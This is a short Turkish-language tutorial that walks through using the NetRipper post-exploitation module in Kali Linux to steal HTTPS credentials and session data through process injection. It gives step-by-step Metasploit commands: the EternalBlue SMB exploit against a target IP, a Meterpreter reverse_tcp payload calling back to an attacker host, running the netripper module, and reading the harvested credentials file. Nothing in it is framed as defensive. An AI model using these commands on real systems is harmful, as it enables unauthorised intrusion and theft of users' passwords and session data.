**NetRipper**, bir Android veya Windows cihazında çalışan kullanıcı süreçlerini hedef alarak, **HTTPS trafiğinden kimlik bilgileri ve oturum verileri gibi hassas verileri elde etmek** için kullanılan bir post-exploitation aracıdır. Özellikle **Meterpreter oturumu üzerinden çalıştırılır** ve ağ trafiğini dinler.

**Bu Aracın Özellikleri Nelerdir?**

* Meterpreter üzerinden çalışan **dinamik yüklenebilir modül**
* **Process injection** ile hedef uygulamadan veri çekme
* Tarayıcı trafiği, şifre girişleri, form verileri gibi çıktılar
* TLS şifrelemesini aşmak için process içinden veri toplar
* Session tabanlı çıktı klasörleri oluşturur
* Web uygulamalarındaki girişleri analiz etmek için kullanılır

**NetRipper Aracının Kali Linux Ortamında Kullanımı**

**Adım 1: Metasploit Framework’ü Başlat**

“msfconsole”

**Adım 2: Hedef Sisteme Meterpreter Shell Elde Et (Örnek)**

**“**use exploit/windows/smb/ms17\_010\_eternalblue

set RHOSTS 192.168.1.105

set PAYLOAD windows/meterpreter/reverse\_tcp

set LHOST 192.168.1.100

exploit”

**Adım 3: NetRipper’ı Yükle**

NetRipper, post/windows/capture/netripper modülüyle gelir.

“use post/windows/capture/netripper

set SESSION 1”

**Adım 4: Modülü Başlat**

“run”

**Adım 5: Veri Toplama ve Sonuçların İncelenmesi**

NetRipper otomatik olarak hedef sistemdeki HTTPS form girişlerini, post verilerini ve bazı credential akışlarını toplar.

“ls /root/.msf4/loot/netripper\_session\_1/”

yazı tipi, metin, grafik, ekran görüntüsü içeren bir resim

Açıklama otomatik olarak oluşturuldu

“cat credentials.txt” ile o dosyayı terminalde görüntüleyebiliriz